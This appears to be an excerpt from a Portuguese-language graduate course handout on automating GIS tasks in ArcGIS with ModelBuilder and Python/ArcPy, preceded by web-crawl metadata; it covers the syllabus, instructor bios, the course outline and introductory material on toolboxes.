-80.84590148925781, "rps_doc_wikipedia_importance_length_correction": -80.84590148925781 }, "fasttext": { "dclm": 0.5874292850494385, "english": 0.5315650105476379, "fineweb_edu_approx": 2.8568484783172607, "eai_general_math": 0.5950292348861694, "eai_open_web_math": 0.3348749876022339, "eai_web_code": 0.29300349950790405 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.74", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.138", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
6,585,290,194,801,313,000
Meteor 1.3 "Meteor" symbol gone from global scope? I noticed in Meteor 1.3 that Meteor isn’t available at the command line (it’s not global on window. Is Meteor now encapsulated in the new modules system (global to app code that is also inside that scope) and not placed onto window? I’m not the best one to answer since other people are working on the module system, but I wouldn’t take anything in the current preview release as a solid indicator for how it will work in the final version of 1.3. 1 Like For sure. I think it’s a good idea though, so that random scripts outside of the app’s code can’t probe for vulnerabilities (or subscribe to things they shouldn’t subscribe to, etc). huh, without Meteor how do we handle login or create user on the client side? @seanh We’d be using Meteor 1.3, and we’d import Meteor into our modules like this: import Meteor from 'meteor' or import Tracker from 'meteor/Tracker' Those symbols would never be stored globally, and only given to use when we request them via the module system. 4 Likes cool, that indeed look more modularize than before :smile: 1 Like
{ "url": "https://forums.meteor.com/t/meteor-1-3-meteor-symbol-gone-from-global-scope/15330", "source_domain": "forums.meteor.com", "snapshot_id": "CC-MAIN-2023-14", "warc_metadata": { "Content-Length": "27698", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:TQVL7NMH6XYI3EWA5HBT3XLPBKLAHSN2", "WARC-Concurrent-To": "<urn:uuid:beda2e4e-3917-4fe4-be8d-82a6e5e60d1e>", "WARC-Date": "2023-03-26T09:57:20Z", "WARC-IP-Address": "18.160.18.53", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:DY6AIVE6RMYF4AYX5RQPGLZZVT2U2ZA5", "WARC-Record-ID": "<urn:uuid:682f2060-90a7-403e-a3a1-7a31e27ecc64>", "WARC-Target-URI": "https://forums.meteor.com/t/meteor-1-3-meteor-symbol-gone-from-global-scope/15330", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:c318c477-359d-4173-9dd3-e423f4ac65ce>" }, "warc_info": "isPartOf: CC-MAIN-2023-14\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March/April 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-43\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 51, 52, 285, 286, 501, 502, 509, 510, 693, 694, 772, 773, 857, 858, 887, 888, 891, 892, 929, 930, 1042, 1043, 1051, 1052, 1111, 1112 ], "line_end_idx": [ 51, 52, 285, 286, 501, 502, 509, 510, 693, 694, 772, 773, 857, 858, 887, 888, 891, 892, 929, 930, 1042, 1043, 1051, 1052, 1111, 1112, 1118 ] }
{ "red_pajama_v2": { "ccnet_original_length": 1118, "ccnet_original_nlines": 26, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.43529412150382996, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.015686269849538803, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.21568627655506134, "rps_doc_frac_unique_words": 0.6530612111091614, "rps_doc_mean_word_length": 4.459183692932129, "rps_doc_num_sentences": 13, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.62998104095459, "rps_doc_word_count": 196, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.027459949254989624, "rps_doc_frac_chars_top_3gram": 0.03432494029402733, "rps_doc_frac_chars_top_4gram": 0, "rps_doc_books_importance": -122.26602935791016, "rps_doc_books_importance_length_correction": -122.26602935791016, "rps_doc_openwebtext_importance": -62.33169937133789, "rps_doc_openwebtext_importance_length_correction": -55.43313980102539, "rps_doc_wikipedia_importance": -28.463075637817383, "rps_doc_wikipedia_importance_length_correction": -28.463075637817383 }, "fasttext": { "dclm": 0.07389450073242188, "english": 0.8517315983772278, "fineweb_edu_approx": 1.2665430307388306, "eai_general_math": 0.7445191144943237, "eai_open_web_math": 0.08184176683425903, "eai_web_code": 0.19251340627670288 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.02", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-501,927,910,762,063,600
fflush() function in C Prev     Next fflush() function is a file handling function in C programming language which is used to flush/clean the file or buffer. Please find below the description and syntax for above file handling function. File operation Declaration & Description fflush() Declaration: int fflush(FILE *fp) fflush() function is used to flush/clean the file or buffer. In a C program, we can use fflush() function as below. fflush(buffer); where, buffer is a temporary variable or pointer which loads/points the data. Example program for fflush() function in C programming language: fflush() function is used to flush a file or buffer. i.e. it cleans it (making empty) if it has been loaded with any other data already. Output:  Test data by Fresh2refresh Other Inbuilt file handling functions in C programming language: C programming language offers many other inbuilt functions for handling files. They are given below. Please click on each function name below to know more details, example programs, output for the respective file handling function. File handling functions Description fopen () fopen () function creates a new file or opens an existing file. fclose () fclose () function closes an opened file. getw () getw () function reads an integer from file. putw () putw () functions writes an integer to file. fgetc () fgetc () function reads a character from file. fputc () fputc () functions write a character to file. gets () gets () function reads line from keyboard. puts () puts () function writes line to o/p screen. fgets () fgets () function reads string from a file, one line at a time. fputs () fputs () function writes string to a file. feof () feof () function finds end of file. fgetchar () fgetchar () function reads a character from keyboard. fprintf () fprintf () function writes formatted data to a file. fscanf () fscanf () function reads formatted data from a file. fputchar () fputchar () function writes a character onto the output screen from keyboard input. fseek () fseek () function moves file pointer position to given location. SEEK_SET SEEK_SET moves file pointer position to the beginning of the file. SEEK_CUR SEEK_CUR moves file pointer position to given location. SEEK_END SEEK_END moves file pointer position to the end of file. ftell () ftell () function gives current position of file pointer. rewind () rewind () function moves file pointer position to the beginning of the file. getc () getc () function reads character from file. getch () getch () function reads character from keyboard. getche () getche () function reads character from keyboard and echoes to o/p screen. getchar () getchar () function reads character from keyboard. putc () putc () function writes a character to file. putchar () putchar () function writes a character to screen. printf () printf () function writes formatted data to screen. sprinf () sprinf () function writes formatted output to string. scanf () scanf () function reads formatted data from keyboard. sscanf () sscanf () function Reads formatted input from a string. remove () remove () function deletes a file. fflush () fflush () function flushes a file. Prev     Next 1. Online Compilers - Compile & Run your C/C++ programs: ✅ Online Compilers 2. Ask your questions or clarify your/others doubts from, ✅ Online Discussion Forums by Fresh2Refresh.com Share this website !!! Facebook Twitter Linkedin Close We Support JALLIKATTU !!! We Support JALLIKATTU! By Fresh2Refresh.com Show Your Support as well. Thanks!
{ "url": "http://fresh2refresh.com/c-programming/c-file-handling/fflush-function-c/", "source_domain": "fresh2refresh.com", "snapshot_id": "crawl=CC-MAIN-2017-34", "warc_metadata": { "Content-Length": "64449", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:32H5Y72LGTNLYQ3K62MHVCXBYX3B3TIJ", "WARC-Concurrent-To": "<urn:uuid:f3db39dc-abf0-4c8c-a544-7267d08e1e7e>", "WARC-Date": "2017-08-17T23:10:36Z", "WARC-IP-Address": "166.62.127.101", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:XEHWMDWOE643W2GYXCHLQ6MWTKK7KDVT", "WARC-Record-ID": "<urn:uuid:6bf79898-57c0-4687-bccb-f53c4f913b39>", "WARC-Target-URI": "http://fresh2refresh.com/c-programming/c-file-handling/fflush-function-c/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:00ac2379-dd78-4010-af7e-5735ecaa19f5>" }, "warc_info": "robots: classic\r\nhostname: ip-10-166-29-11.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-34\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for August 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 23, 24, 38, 39, 239, 240, 255, 281, 324, 325, 441, 457, 458, 536, 537, 602, 603, 740, 741, 749, 750, 778, 779, 844, 845, 1077, 1078, 1102, 1114, 1187, 1239, 1292, 1345, 1401, 1456, 1507, 1559, 1632, 1684, 1728, 1794, 1858, 1921, 2017, 2091, 2167, 2232, 2298, 2365, 2452, 2504, 2562, 2647, 2709, 2762, 2823, 2885, 2949, 3012, 3078, 3123, 3168, 3169, 3183, 3184, 3241, 3242, 3261, 3262, 3320, 3321, 3369, 3370, 3371, 3372, 3373, 3374, 3397, 3423, 3424, 3430, 3456, 3479, 3500 ], "line_end_idx": [ 23, 24, 38, 39, 239, 240, 255, 281, 324, 325, 441, 457, 458, 536, 537, 602, 603, 740, 741, 749, 750, 778, 779, 844, 845, 1077, 1078, 1102, 1114, 1187, 1239, 1292, 1345, 1401, 1456, 1507, 1559, 1632, 1684, 1728, 1794, 1858, 1921, 2017, 2091, 2167, 2232, 2298, 2365, 2452, 2504, 2562, 2647, 2709, 2762, 2823, 2885, 2949, 3012, 3078, 3123, 3168, 3169, 3183, 3184, 3241, 3242, 3261, 3262, 3320, 3321, 3369, 3370, 3371, 3372, 3373, 3374, 3397, 3423, 3424, 3430, 3456, 3479, 3500, 3534 ] }
{ "red_pajama_v2": { "ccnet_original_length": 3534, "ccnet_original_nlines": 84, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.2295082062482834, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.025335319340229034, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.2295082062482834, "rps_doc_frac_unique_words": 0.34774067997932434, "rps_doc_mean_word_length": 5.304518699645996, "rps_doc_num_sentences": 54, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.613377094268799, "rps_doc_word_count": 509, "rps_doc_frac_chars_dupe_10grams": 0.03481480851769447, "rps_doc_frac_chars_dupe_5grams": 0.2611111104488373, "rps_doc_frac_chars_dupe_6grams": 0.104814812541008, "rps_doc_frac_chars_dupe_7grams": 0.08814814686775208, "rps_doc_frac_chars_dupe_8grams": 0.05925925821065903, "rps_doc_frac_chars_dupe_9grams": 0.03481480851769447, "rps_doc_frac_chars_top_2gram": 0.057777781039476395, "rps_doc_frac_chars_top_3gram": 0.029629629105329514, "rps_doc_frac_chars_top_4gram": 0.04444444179534912, "rps_doc_books_importance": -279.2499084472656, "rps_doc_books_importance_length_correction": -279.2499084472656, "rps_doc_openwebtext_importance": -148.77557373046875, "rps_doc_openwebtext_importance_length_correction": -148.77557373046875, "rps_doc_wikipedia_importance": -50.9631233215332, "rps_doc_wikipedia_importance_length_correction": -50.9631233215332 }, "fasttext": { "dclm": 0.7953616380691528, "english": 0.7058614492416382, "fineweb_edu_approx": 2.992603302001953, "eai_general_math": 0.4460687041282654, "eai_open_web_math": 0.3601539731025696, "eai_web_code": 0.9864439964294434 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1332", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.133", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "0", "label": "No missing content" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "1", "label": "No Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-8,199,696,735,081,412,000
Você está na página 1de 164 Automatização SIG voltada às aplicações ambientais PPGSEA EESC USP - 2019 Automatização SIG voltada às aplicações ambientais SEA 5923 OBJETIVOS DA DISCIPLINA: A disciplina visa abordar os conceitos básicos da linguagem de programação Python e utilizá-la de forma integrada em ambiente de geoprocessamento como o ArcGIS. JUSTIFICATIVA: Os profissionais que trabalham na área de meio ambiente geralmente possuem conhecimento e já estão familiarizados com os conceitos de SIG e geoprocessamento sem que, contudo, trabalhem com uma linguagem de programação. Muitas vezes os usuários apenas fazem uso de interfaces gráficas (GUI) por meio das ferramentas já disponíveis nos softwares SIG, mas em algum momento se faz necessário estender os recursos, automatizar processos, ou apenas trabalhar de forma mais eficiente para completar os objetivos primários para responder a perguntas baseadas no espaço geográfico. Desta maneira, a disciplina busca ensinar os alunos a desenvolver scripts para que este possa incorporá-los ao fluxo de seu trabalho. CONTEÚDO: Introdução ao Python e ArcPy. Uso ferramentas de geoprocessamento de forma automatizada. Trabalho com feições e geometrias em formato vetorial. Trabalho com arquivos rasters. Criação de Python toolboxes e add-ins. BIBLIOGRAFIA: Bielenki, C. Jr; Barbassa, A. P. Geoprocessamento e Recursos Hídricos: Aplicações Práticas. EDUFSCar, São Carlos, 2012. Paul A. Zandbergen, Python Scripting for ArcGIS, ESRI Press, Califórnia, 2013. Docentes responsáveis: Frederico Fábio Mauad Possui graduação em Engenharia Agrícola (1990), Especialização em Projeto e Construção de Pequenas Centrais Hidrelétricas - Eletrobrás/UNIFEI, Mestrado em Engenharia Mecânica- Energia pela Universidade Federal de Itajubá (1995), PDEE Junto ao Instituto Superior Técnico - Lisboa 1998 e doutorado em Planejamento de Sistemas Energéticos pela Universidade Estadual de Campinas (2000). Livre-Docente pela Universidade de São Paulo na área de conhecimento de planejamento de sistemas hidroenergéticos (2013). Atualmente é Professor Associado da Universidade de São Paulo. Membro do Comitê Cientifíco do Simpósio da ABRH a partir de 2005 - atual e do Simpósio do ENES a partir de 2007. Coordenador de Projetos de P&D com o setor Elétrico (ANEEL), CNPq, FAPESP, FINEP, FEHIDRO e CAPES. Tem experiência na área de Engenharia Civil, com ênfase em Hidrologia, atuando principalmente nos seguintes temas: Estudo de Assoreamento de Grandes Reservatórios, Hidrometria Aplicada, Equipamentos para Análise Quantitativa, Qualitativa e Sedimentometrica, Planejamento e Gerenciamento de Recursos Hídricos, Aporte de Sedimentos, Recursos Hídricos (Quantitativo e Qualitativo), Simulação Computacional e Usos Múltiplos da Água. Cláudio Bielenki Junior Graduado em Engenharia Cartográfica pela Universidade Federal do Rio Grande do Sul (2002), Especialista em Geoprocessamento pela Universidade Federal de São Carlos (2007). Mestre em Engenharia de Transportes pela Escola de Engenharia de São Carlos da USP (2008). Doutor em Ciências da Engenharia Ambiental na EESC USP (2018). Desde 2003 é especialista em geoprocessamento da Agência Nacional de Águas. Atualmente integra a equipe de pesquisadores do Departamento de Hidrobiologia da UFSCar. Possui experiência na área de Geociências, com ênfase em Geoprocessamento, Geodésia Geométrica e Espacial, atuando principalmente nos seguintes temas: Recursos Hídricos, sensoriamento remoto, geoprocessamento, cartografia. Adicionalmente atua na área de desenvolvimento e otimização de sistemas geo e modelagem hidrológica. Adaptado por Cláudio Bielenki Jr. do material do Instituto de Educação Eletrônica John A. Dutton, Faculdade de Ciências Minerais e Terrestres da Penn State University Quinn, S.; Detwiler, J.; Hardsty, F.; O’Brien, J. GIS programming and software development. 2018. Agosto, 2019 Este material está dividido em 4 etapas: Etapa 1: Introdução à modelagem SIG e Python A etapa 1 começa explicando como a automação pode tornar o trabalho de um analista de SIG mais fácil, rápido e preciso. A primeira metade apresenta algumas das ferramentas de análise SIG disponíveis no ArcGIS e como acessá-las em um contexto não-Python, especificamente as janelas de diálogos do ArcToolbox, a janela do Python e a interface do ModelBuilder. No ModelBuilder, você aprenderá como as ferramentas individuais podem ser “encadeadas” em uma ordem designada para executar tarefas de análise complexas. A segunda parte apresenta-se a linguagem de script Python, o ambiente de desenvolvimento PythonWin e a programação orientada a objetos em geral. A lição é concluída com alguns exemplos simples de scripts, projetados para mostrar como o Python se conecta ao ArcGIS e como você pode escrever um script Python usando as mesmas ferramentas que se acessa no ArcToolbox. Esboço da etapa 1: • A necessidade de automação SIG • Explorando uma caixa de ferramentas • Ambientes para acessar ferramentas o Executando uma ferramenta do ArcToolbox pela sua caixa de diálogo o Modelagem com ferramentas • Por que aprender ModelBuilder? o Abrindo e explorando ModelBuilder o Parâmetros do modelo o Conceitos avançados de geoprocessamento e ModelBuilder o Executar uma ferramenta na janela da linha de comando • Apresentando o Python o O que é o Python? o Instalando o Python e o PythonWin o Explorando o PythonWin • Começando a programação com Python o Trabalhando com variáveis o Objetos e programação orientada a objetos o Classes o Herança o Sintaxe Python • Exemplos introdutórios do Python o Exemplo: Imprimindo a referência espacial de uma classe de feições o Exemplo: Realizando álgebra de mapas em uma imagem raster o Exemplo: Criando Buffers • Fazendo uma ferramenta de script • Projeto 1: Modelagem de zonas de precipitação (exercício ModelBuilder) • Tarefa 1: Criando contornos para um MNT (exercício em Python) 5 Etapa 2: Fundamentos de Programação com Python Na etapa 2 trabalhamos com conceitos fundamentais de programação e técnicas de solução de problemas que são comuns à maioria das linguagens de programação. O objetivo desta etapa é prepará-lo para aprender qualquer linguagem de programação que possa ser exigida em seu trabalho. A lição também mostra como sintetizar esses fundamentos para abordar problemas de programação. Você é orientado sobre onde procurar ajuda para se tornar um programador autossuficiente. Esboço da etapa 2: • Mais fundamentos do Python o Listas o Loopings o Estruturas de decisão o Manipulação de strings o Colocando tudo junto • Solução de problemas e obtenção de ajuda o Problemas potenciais e diagnóstico rápido o Usando o depurador do PythonWin o Imprimindo mensagens do geoprocessador o Outras fontes de ajuda • Projeto 2: Reprojeção em lote de conjuntos de dados vetoriais Etapa 3: Acesso e manipulação de dados SIG com Python Uma grande vantagem do script é a capacidade de ler, atualizar e adicionar dados automaticamente. Na etapa 3 mostra-se como acessar dados vetoriais e rasterizados no ArcGIS usando o Python. Os dados são recuperados por meio de consultas espaciais e de atributos. A lição mostra como subconjuntos de registros podem ser atualizados com base em determinados critérios (como por meio de uma operação de “localizar e substituir”). A ênfase é tratamento de dados vetoriais trabalhando com as tabelas de atributos, embora ferramentas para trabalhar com dados raster também sejam discutidas. Esboço da etapa 3: • Armazenamento e recuperação de dados no ArcGIS • Lendo dados de atributos de vetores o Acessando s campos da tabela de atributo o Lendo registros o Recuperando registros usando uma consulta de atributo o Recuperando registros usando uma consulta espacial • Escrevendo dados de atributo de vetores o Atualizando registros existentes o Inserindo novos registros • Trabalhando com rasters • Projeto 3 6 Etapa 4: Python Prático para o Analista de SIG Nesta etapa abordam-se conceitos relativamente avançados que ajudarão você a se tornar um programador SIG especialmente útil. Isso inclui a criação de código reutilizável por meio de funções e módulos, análise de texto e gravação de feições geométricas em conjuntos de dados vetoriais no ArcGIS. Na lição discute-se como usar arquivos em lote e os utilitários de agendamento do sistema operacional para automatizar a execução de scripts. Também se explica como automatizar algumas funções para layouts de mapas no ArcMap usando Python. As seções desta lição são mais longas e contêm exemplos de código mais complexos do que as lições anteriores. Nesse ponto do curso, você deve ter conhecimento para entender esses exemplos. O objetivo é que você se sinta confiante o suficiente para ler qualquer script não familiar depois de concluir esta lição. Você também deve sentir que tem conhecimento adquirido suficiente para abordar a maioria dos desafios de automação por meio de scripts. Esboço da etapa 4: • Funções e módulos • Leitura e análise de texto • Geometrias de feições • Automação com arquivos em lote e tarefas de agendamento • Executando qualquer ferramenta da caixa de ferramentas • Trabalhando com documentos de mapas • Limitações do script Python no ArcGIS • Projeto 4 Projeto Final No final do curso, você é obrigado a concluir um projeto de script individual que aplica o conhecimento que você adquiriu ao longo do curso. Você é encorajado a escolher um projeto que seja útil para a sua pesquisa atual, se possível. 7 Etapa 1: Introdução à modelagem SIG e Python Objetivos da etapa 1 No final desta etapa, você deve: • Ser capaz de criar fluxos de trabalho automatizados no ArcGIS ModelBuilder; • Estar familiarizado com o ambiente de desenvolvimento do Python; • Conhecer alguns dos tipos de dados básicos mais importantes do Python e como usar variáveis em scripts Python; • Estar familiarizado com os conceitos básicos de programação orientada a objetos (por exemplo, classes e herança); • Ser capaz de usar funções de ferramentas do Arcpy para realizar tarefas básicas de análise espacial; e • Saber como criar uma ferramenta de script simples e passar um parâmetro para um script. A necessidade de automação SIG Um sistema de informação geográfica (SIG) pode manipular e analisar conjuntos de dados espaciais com o objetivo de resolver problemas geográficos. Os analistas de SIG realizam todos os tipos de operações em dados para torná-lo útil para resolver um problema localizado. Isso inclui recorte, reprojeção, buffer, mesclagem, mosaicagem, extração de subconjuntos dos dados e centenas de outras operações. No software ArcGIS utilizado neste curso, essas operações são conhecidas como geoprocessamento e são realizadas por meio de ferramentas. Uma análise SIG bem-sucedida requer a seleção das ferramentas mais apropriadas para operar sobre os seus dados. O ArcGIS usa uma metáfora de caixa de ferramentas para organizar seu conjunto de ferramentas. Você escolhe as ferramentas necessárias e as executa na ordem correta para ter um resultado esperado. Suponha que você seja responsável por selecionar locais para um aterro sanitário. Você pode usar uma ferramenta para selecionar lotes de terra ao longo de uma via de acesso, outra ferramenta para selecionar parcelas não menores que uma determinada área e outras ferramentas para outros critérios de seleção, como distância a mananciais, tipo de solo entre outros. Se esse processo de seleção fosse limitado a uma única área, provavelmente faria sentido executar o trabalho manualmente. No entanto, vamos supor que você seja responsável por realizar a mesma análise para várias cidades. Como esse cenário envolve a execução da mesma sequência de ferramentas para várias áreas, é uma tarefa que se presta bem à automação. Existem vários benefícios importantes para automatizar tarefas como esta: 8 • Automação torna o trabalho mais fácil. Depois de automatizar um processo, você não precisa se esforçar tanto para lembrar quais ferramentas usar ou a sequência correta em que elas devem ser executadas. • Automação torna o trabalho mais rápido. Um computador pode abrir e executar ferramentas em sequência muito mais rápido do que você pode realizar a mesma tarefa apontando e clicando. • A automação torna o trabalho mais preciso. Toda vez que você executa uma tarefa manual em um computador, há uma chance de erro. A chance se multiplica com o número e a complexidade das etapas em sua análise, bem como o cansaço incorrido pela repetição da tarefa várias vezes. Em contraste, uma vez que uma tarefa automatizada é configurada, um computador é confiável para executar a mesma sequência de etapas a cada vez, para um número potencialmente infinito de ciclos. O ArcGIS oferece três maneiras para os usuários automatizarem suas tarefas de geoprocessamento. Essas três opções diferem na quantidade de habilidade necessária para produzir a solução automatizada e na variedade de cenários que cada uma pode endereçar. A primeira opção é construir um modelo usando o Model Builder. O Model Builder é um programa interativo que permite ao usuário “encadear” ferramentas, usando a saída de uma ferramenta como entrada em outra. Talvez o recurso mais atrativo do Model Builder seja que os usuários podem automatizar fluxos de trabalho SIG bastante complexos sem a necessidade de programação. Você aprenderá a usar o Model Builder no início deste curso. Algumas tarefas de automação exigem maior flexibilidade do que a oferecida pelo Model Builder e, para esses cenários, é recomendável que você escreva programas de computador ou scripts curtos. A maior parte deste curso está relacionada com a escrita de scripts. Um script geralmente executa alguns procedimentos sequenciais de etapas. Dentro de um script, você pode executar ferramentas SIG individualmente ou encadeá-las. Você pode inserir lógica condicional em seu script para lidar com casos em que diferentes ferramentas devem ser executadas, dependendo da saída da operação anterior. Você também pode incluir iterações ou loops em um script para repetir uma única ação quantas vezes forem necessárias para realizar uma tarefa. Existem linguagens de script especiais para escrever scripts, incluindo Python, JScript e Perl. Geralmente, essas linguagens têm uma sintaxe mais básica e são mais fáceis de aprender do que outras linguagens, como C, Java ou Visual Basic. Embora o ArcGIS suporte várias linguagens de script para trabalhar com suas ferramentas, a ESRI enfatiza o Python em sua documentação e inclui o Python com a instalação do ArcGIS. Neste curso, trabalharemos estritamente com o Python por esse motivo, bem como o fato de que o Python pode ser usado para muitas outras tarefas de manipulação de arquivos e dados fora do ArcGIS. Você aprenderá o básico sobre a linguagem Python, como escrever um script e como manipular e analisar dados SIG usando scripts. Por fim, você aplicará seu novo conhecimento em Python a um projeto final, no qual escreverá um script de sua escolha que poderá aplicar diretamente ao seu trabalho. Uma terceira opção disponível para os usuários do ArcGIS que procuram automatizar o geoprocessamento é construir uma solução usando ArcObjects, os blocos de construção de programação usados pelos próprios desenvolvedores da Esri para produzir os produtos de desktop do ArcGIS. Com o ArcObjects, é possível customizar a interface do usuário para incluir comandos e ferramentas específicas que extrapolam a capacidade das ferramentas 9 do ArcGIS prontas para uso ou as modificam para trabalhar de maneira mais focada. A programação de ArcObjects e personalização de interface estão fora do escopo deste curso. A customização SIG com ArcObjects pode ser um avanço, e aprender uma linguagem de script como Python é uma boa maneira de se preparar aprendendo conceitos básicos de programação. As ferramentas que você executa no ModelBuilder e Python realmente usam ArcObjects como base para executar as funções do SIG; No entanto, a vantagem do script Python com o ArcGIS é que você não precisa aprender toda a lógica ArcObjects por trás das ferramentas. Seu trabalho é apenas aprender as ferramentas e executá-las na ordem apropriada para realizar sua tarefa. Esta primeira lição apresentará conceitos de construção de modelo e redação de scripts. Começaremos familiarizando-nos apenas com o modo como as ferramentas são executadas no ArcGIS e como você pode usar essas ferramentas na interface do ModelBuilder. Em seguida, abordaremos alguns dos princípios básicos do Python e veremos como as ferramentas podem ser executadas nos scripts. Explorando uma caixa de ferramentas O software ArcGIS que você utiliza neste curso contém centenas de ferramentas que você pode usar para manipular e analisar dados SIG. Antes que o ArcGIS tivesse uma interface gráfica de usuário (GUI), as pessoas acessavam essas ferramentas digitando comandos. Hoje em dia, você pode apontar e clicar em seu caminho por toda uma hierarquia de caixas de ferramentas usando o ArcCatalog ou a janela Catálogo no ArcMap. Embora você possa tê-los visto antes, vamos dar uma olhada rápida nas caixas de ferramentas: • Abra o ArcMap. • Se a janela Catálogo não estiver visível, clique no menu Windows e, em seguida, clique em Catalog. Se você passar o mouse sobre ou clicar no item Catálogo no lado direito da tela, poderá fazer com que a janela Catálogo apareça. Opcionalmente, você pode "fixá-lo" para que ele não se esconda. • No Catálogo, expanda os nós Toolboxes> System Toolboxes e continue expandindo as caixas de ferramentas de sua escolha até ver algumas das ferramentas disponíveis. Observe que eles estão organizados em caixas de ferramentas e conjuntos de ferramentas. Às vezes, é mais rápido usar a janela Search (Geoprocessing> Search For Tools) para encontrar a ferramenta de 